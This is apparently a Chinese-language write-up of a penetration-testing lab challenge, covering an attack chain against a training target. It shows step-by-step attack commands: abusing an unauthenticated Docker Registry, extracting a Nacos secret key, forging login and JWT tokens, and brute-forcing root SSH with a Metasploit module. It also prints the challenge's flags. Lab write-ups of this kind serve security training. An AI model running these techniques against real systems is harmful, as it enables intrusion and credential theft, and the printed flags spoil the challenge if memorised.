前言
最近想写写应急响应的题目,就找到玄机平台,注册帐号后,在「困难」分类里选了一道题,就是这道「第九章-blueteam 的小心思2」,结果没想到是个渗透题(说是先渗透再应急,但应急部分没检测)。这个题没WP,所以整理一下。其他题目的WP可以看先知社区的这篇文章:https://xz.aliyun.com/t/14254 ,好像挺全的。
题目:
- nacos 的 key 为多少 flag{base64decodekey}
- nacos配置文件的 flag
- File Management System的 flag
- root 密码多少 flag{password}
- 黑客留下的 backdoor 后门的绝对路径
- 修复 4000-6000 端口漏洞
- 修复File Management System漏洞
- 清理黑客留下的backdoor
PS:文章截图里IP前后并不一致,因为不是一次性写完的,有些图也是后面重新开了环境才补的,但都是靶机IP,不要太care。
解题步骤
1. Fscan 扫描
./fscan_mac -h 52.83.46.219 -p 1-65535
2. 攻击私有仓库
通过扫描发现私有仓库的端口为5000。
目录扫描可以扫到一下两个路径,说明存在Docker Registry 未授权。
http://52.83.46.219:5000/v2/
http://52.83.46.219:5000/v2/_catalog
2.1 列出存储库
http://52.83.46.219:5000/v2/_catalog
2.2 查看具体的仓库信息
http://52.83.46.219:5000/v2/nacos/manifests/latest
2.3 拉取私有仓库中的 Nacos 镜像
docker pull <仓库地址>/<镜像名称>:<标签>
docker pull 43.192.47.138:5000/nacos
2.4 解决http: server gave HTTP response to HTTPS client
由于docker镜像拉取与推送服务使用的是https协议,但是仓库服务器上面没有配置https证书,可以修改客户端的配置,使用http协议进行通信。编辑/etc/docker/daemon.json
文件。
vim /etc/docker/daemon.json
添加以下内容:
{
"insecure-registries": ["43.192.47.138:5000"]
}
然后重启docker服务。
systemctl restart docker
2.5 再次拉取私有仓库中的 Nacos 镜像
docker pull 43.192.47.138:5000/nacos
2.6 运行Nacos容器
运行容器,进入容器。
docker run -itd 4249d3c080bc
docker exec -it fa18ae900e9 bash
找到 Nacos 配置文件,conf
目录下的application.properties
文件。
得到Nacos的key为:
eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
按照题目要求,进行base64解码后得到第一个flag。
flag{xjnacos2023penguinedisecflagflagflag}
3. 本地搭建 Nacos
本地使用centos系统搭建Nacos2.2.3,使用从docker镜像中获取到的配置。
3.1 下载 Nacos2.2.3 安装包
https://github.com/alibaba/nacos/releases/download/2.2.3/nacos-server-2.2.3.tar.gz
3.2 解压并移动
tar -zxvf nacos-server-2.2.3.tar.gz
mv nacos /usr/local
3.3 在 centos7 中安装 JDK8
(1) 安装和镜像环境中一样的java版本。
yum install java-1.8.0-openjdk* -y
安装目录为:/usr/lib/jvm/java-1.8.0-openjdk
(2) 验证是否安装成功
java -version
输出以下内容则表示安装配置完成:
openjdk version "1.8.0_222"
OpenJDK Runtime Environment (build 1.8.0_222-b10)
OpenJDK 64-Bit Server VM (build 25.222-b10, mixed mode)
(3) 修改环境变量
vim /etc/profile
在最下面添加以下配置:
export JAVA_HOME=/usr/lib/jvm/java-1.8.0-openjdk
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH={JAVA_HOME}/bin:$PATH
(4) 刷新配置,让profile文件立即生效
source /etc/profile
3.4 编辑 application.properties
cd /usr/local/nacos/conf
vim application.properties
把application.properties文件的内容替换为从docker镜像中得到的application.properties文件内容。但是其中的一些环境变量(如数据库相关的环境变量)需要替换一下。
# spring
server.servlet.contextPath=${SERVER_SERVLET_CONTEXTPATH:/nacos}
server.contextPath=/nacos
server.port=8848
server.tomcat.accesslog.max-days=30
server.tomcat.accesslog.pattern=%h %l %u %t "%r" %s %b %D %{User-Agent}i %{Request-Source}i
server.tomcat.accesslog.enabled=${TOMCAT_ACCESSLOG_ENABLED:false}
server.error.include-message=ALWAYS
# default current work dir
server.tomcat.basedir=file:.
#*************** Config Module Related Configurations ***************#
### Deprecated configuration property, it is recommended to use `spring.sql.init.platform` replaced.
#spring.datasource.platform=${SPRING_DATASOURCE_PLATFORM:}
spring.sql.init.platform=${SPRING_DATASOURCE_PLATFORM:}
nacos.cmdb.dumpTaskInterval=3600
nacos.cmdb.eventTaskInterval=10
nacos.cmdb.labelTaskInterval=300
nacos.cmdb.loadDataAtStart=false
db.num=${MYSQL_DATABASE_NUM:1}
db.url.0=jdbc:mysql://127.0.0.1:3306/nacos_config?${MYSQL_SERVICE_DB_PARAM:characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useSSL=false}
db.user.0=root
db.password.0=123456
### The auth system to use, currently only 'nacos' and 'ldap' is supported:
nacos.core.auth.enabled=true
nacos.core.auth.system.type=nacos
### worked when nacos.core.auth.system.type=nacos
### The token expiration in seconds:
nacos.core.auth.plugin.nacos.token.expire.seconds=${NACOS_AUTH_TOKEN_EXPIRE_SECONDS:18000}
### The default token:
nacos.core.auth.plugin.nacos.token.secret.key=eGpuYWNvczIwMjNwZW5ndWluZWRpc2VjZmxhZ2ZsYWdmbGFn
### Turn on/off caching of auth information. By turning on this switch, the update of auth information would have a 15 seconds delay.
nacos.core.auth.caching.enabled=${NACOS_AUTH_CACHE_ENABLE:false}
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity.key=nacosKey
nacos.core.auth.server.identity.value=nacosValue
## spring security config
### turn off security
nacos.security.ignore.urls=${NACOS_SECURITY_IGNORE_URLS:/,/error,/**/*.css,/**/*.js,/**/*.html,/**/*.map,/**/*.svg,/**/*.png,/**/*.ico,/console-fe/public/**,/v1/auth/**,/v1/console/health/**,/actuator/**,/v1/console/server/**}
# metrics for elastic search
management.metrics.export.elastic.enabled=false
management.metrics.export.influx.enabled=false
nacos.naming.distro.taskDispatchThreadCount=10
nacos.naming.distro.taskDispatchPeriod=200
nacos.naming.distro.batchSyncKeyCount=1000
nacos.naming.distro.initDataRatio=0.9
nacos.naming.distro.syncRetryDelay=5000
nacos.naming.data.warmup=true
3.5 启动 Nacos
cd /usr/local/nacos/bin
sh startup.sh -m standalone
启动成功。
在登陆处抓包,得到accessToken。
{
"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjk2NDY0Mn0.WKu4KhZu1DX4qmNgtEZl7J_dRXbVvDQWmOpMYNdHb6Y",
"tokenTtl":18000,
"globalAdmin":true,
"username":"nacos"
}
4. Nacos 渗透
4.1 登陆 Nacos
使用本地搭建Nacos登陆获得到的accessToken去登陆题目中的Nacos。
在登陆处抓包,修改响应数据包。
得到:
将响应数据包修改为:
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Content-Type: application/json
Content-Length: 14
Date: Sat, 25 May 2024 02:50:47 GMT
Connection: close
{
"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjk2NDY0Mn0.WKu4KhZu1DX4qmNgtEZl7J_dRXbVvDQWmOpMYNdHb6Y",
"toenTtl":18000,
"globalAdmin":true
}
点击Forward。
登陆成功。
4.2 配置管理信息收集
在ADMIN_CONFIG中得到第二个flag以及FMS系统的帐号密码。
# file-managerpassword
file-manager:
name: admin
password: xj2023@1578921@123
jwtkey: 123456
#flag{9d7ffcef-bcd1-4f4b-9a2d-d51862484168}
5. FMS 渗透
5.1 登陆 FMS
使用从Nacos配置中得到的帐号密码登陆FMS。
file-manager:
name: admin
password: xj2023@1578921@123
jwtkey: 123456
登陆成功,但是提示权限不够。
5.2 jwt 构造
抓包。
利用从 Nacos 配置中得到的 jwtkey: 123456 进行 jwt 构造(网站 https://jwt.io/ )。
将Token改为构造后的值再发送。
eyJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJob3N0IiwibmFtZSI6InN5c2FkbWluMTIzNDU2IiwiZXhwIjoxNzE2OTU1MDYwLCJpYXQiOjE3MTY5NDc4NjB9.n1A38ZxyRfHye1sMJAVQEkH9T-J7KTa8PxPTUBUtLQg
成功看到FMS中的文件。
5.3 下载运维帐号
利用同样的方法,抓包修改Token,将几个文件下载下来。
在「运维帐号.xlsx」文件中得到很多密码。
5.4 上传文件
在文件上传处抓包,修改token,成功上传文件,得到第三个flag。
flag{d6c578d4a41a141d731fe7c36c8c0f77}
6. 获取服务器权限
6.1 ssh 口令爆破
使用MSF中的模块进行ssh口令爆破,密码字典为从「运维帐号.xlsx」文件中得到的密码。
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 161.189.163.153
set USERNAME root
set PASS_FILE pwd.txt
set RPORT 2222
run
爆破成功,得到密码为imArGcj9
。
则第四个flag为:
flag{imArGcj9}
6.2 ssh 连接
ssh root@161.189.163.153 -p 2222
7. 找到黑客留下的 backdoor
黑客留下的 backdoor 后门的绝对路径,这里我是直接按照时间排查的,发现evilfms.service。
find / -type f -newermt 2023-12-01 ! -newermt 2024-01-01
得到第五个flag。
flag{evilfms.service}
这道题这5个flag拿到就已经完成了,后面应急部分自己修吧
-
-
解题步骤
- 1. Fscan 扫描
- 2. 攻击私有仓库
- 2.1 列出存储库
- 2.2 查看具体的仓库信息
- 2.3 拉取私有仓库中的 Nacos 镜像
- 2.4 解决http: server gave HTTP response to HTTPS client
- 2.5 再次拉取私有仓库中的 Nacos 镜像
- 2.6 运行Nacos容器
- 3. 本地搭建 Nacos
- 3.1 下载 Nacos2.2.3 安装包
- 3.2 解压并移动
- 3.3 在 centos7 中安装 JDK8
- 3.4 编辑 application.properties
- 3.5 启动 Nacos
- 4. Nacos 渗透
- 4.1 登陆 Nacos
- 4.2 配置管理信息收集
- 5. FMS 渗透
- 5.1 登陆 FMS
- 5.2 jwt 构造
- 5.3 下载运维帐号
- 5.4 上传文件
- 6. 获取服务器权限
- 6.1 ssh 口令爆破
- 6.2 ssh 连接
- 7. 找到黑客留下的 backdoor